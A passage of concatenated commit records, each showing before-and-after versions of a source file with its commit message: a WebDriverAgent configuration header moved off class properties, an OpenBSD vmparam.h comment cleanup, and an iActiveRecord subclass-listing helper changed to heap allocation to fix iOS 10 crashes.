/*! If set to YES will ask TestManagerDaemon for element visibility */
@property (class, nonatomic, assign) BOOL shouldUseTestManagerForVisibilityDetection;

/* The maximum typing frequency for all typing activities */
@property (class, nonatomic, assign) NSUInteger maxTypingFrequency;

/**
 Switch for enabling/disabling reporting fake collection view cells by Accessibility framework.
 If set to YES it will report also invisible cells.
 */
+ (void)shouldShowFakeCollectionViewCells:(BOOL)showFakeCells;

/**
 The range of ports that the HTTP Server should attempt to bind on launch
 */
+ (NSRange)bindingPortRange;

/**
 YES if verbose logging is enabled. NO otherwise.
 */
+ (BOOL)verboseLoggingEnabled;

@end

NS_ASSUME_NONNULL_END

/**
 * Copyright (c) 2015-present, Facebook, Inc.
 * All rights reserved.
 *
 * This source code is licensed under the BSD-style license found in the
 * LICENSE file in the root directory of this source tree. An additional grant
 * of patent rights can be found in the PATENTS file in the same directory.
 */

#import <Foundation/Foundation.h>

NS_ASSUME_NONNULL_BEGIN

/**
 Accessors for Global Constants.
 */
@interface FBConfiguration : NSObject

/*! If set to YES will ask TestManagerDaemon for element visibility */
+ (void)setShouldUseTestManagerForVisibilityDetection:(BOOL)value;
+ (BOOL)shouldUseTestManagerForVisibilityDetection;

/* The maximum typing frequency for all typing activities */
+ (void)setMaxTypingFrequency:(NSUInteger)value;
+ (NSUInteger)maxTypingFrequency;

/**
 Switch for enabling/disabling reporting fake collection view cells by Accessibility framework.
 If set to YES it will report also invisible cells.
 */
+ (void)shouldShowFakeCollectionViewCells:(BOOL)showFakeCells;

/**
 The range of ports that the HTTP Server should attempt to bind on launch
 */
+ (NSRange)bindingPortRange;

/**
 YES if verbose logging is enabled. NO otherwise.
 */
+ (BOOL)verboseLoggingEnabled;

@end

NS_ASSUME_NONNULL_END

Switch from class property to methods

Switch from class property to methods

Summary:
Some recent changes use class properties, which break building with Xcode 7. This exposes the same API without the new syntax.
Closes https://github.com/facebook/WebDriverAgent/pull/539

Differential Revision: D4880364

Pulled By: marekcirkos

fbshipit-source-id: dace4b2413cb8c52dd0783da03f216da8a26fc97


/*	$OpenBSD: vmparam.h,v 1.9 2011/05/30 22:25:22 oga Exp $ */
/* public domain */
#ifndef _MACHINE_VMPARAM_H_
#define _MACHINE_VMPARAM_H_

#define	VM_PHYSSEG_MAX	32	/* Max number of physical memory segments */

/*
 * On Origin and Octane families, DMA to 32-bit PCI devices is restricted.
 *
 * Systems with physical memory after the 2GB boundary need to ensure
 * memory which may used for DMA transfers is allocated from the low
 * memory range.
 *
 * Other systems, like the O2, do not have such a restriction, but can not
 * have more than 2GB of physical memory, so this doesn't affect them.
 */

#include <mips64/vmparam.h>

#endif	/* _MACHINE_VMPARAM_H_ */

/*	$OpenBSD: vmparam.h,v 1.10 2014/07/13 15:48:32 miod Exp $ */
/* public domain */
#ifndef _MACHINE_VMPARAM_H_
#define _MACHINE_VMPARAM_H_

#define	VM_PHYSSEG_MAX	32	/* Max number of physical memory segments */

#include <mips64/vmparam.h>

#endif	/* _MACHINE_VMPARAM_H_ */

Remove stale comment which used to explain why we had a special 31-bit freelist for DMA, back when this was applicable.


//
//  class_getSubclasses.h
//  iActiveRecord
//
//  Created by Alex Denisov on 21.03.12.
//  Copyright (c) 2012 okolodev.org. All rights reserved.
//

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

static NSArray *class_getSubclasses(Class parentClass) {
    int numClasses = objc_getClassList(NULL, 0);
    Class classes[sizeof(Class) * numClasses];
    numClasses = objc_getClassList(classes, numClasses);
    NSMutableArray *result = [NSMutableArray array];
    for (NSInteger i = 0; i < numClasses; i++) {
        Class superClass = classes[i];
        do {
            superClass = class_getSuperclass(superClass);
        } while (superClass && superClass != parentClass);

        if (superClass == nil) {
            continue;
        }
        [result addObject:classes[i]];
    }
    return result;
}

//
//  class_getSubclasses.h
//  iActiveRecord
//
//  Created by Alex Denisov on 21.03.12.
//  Copyright (c) 2012 okolodev.org. All rights reserved.
//

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

static NSArray *class_getSubclasses(Class parentClass) {
    int numClasses = objc_getClassList(NULL, 0);
    Class *classes = NULL;
    classes = (__unsafe_unretained Class *)malloc(sizeof(Class) * numClasses);
    numClasses = objc_getClassList(classes, numClasses);
    NSMutableArray *result = [NSMutableArray array];
    for (NSInteger i = 0; i < numClasses; i++) {
        Class superClass = classes[i];
        do {
            superClass = class_getSuperclass(superClass);
        } while (superClass && superClass != parentClass);

        if (superClass == nil) {
            continue;
        }
        [result addObject:classes[i]];
    }
    free(classes);
    return result;
}

Fix for crashes in iOS 10

Fix for crashes in iOS 10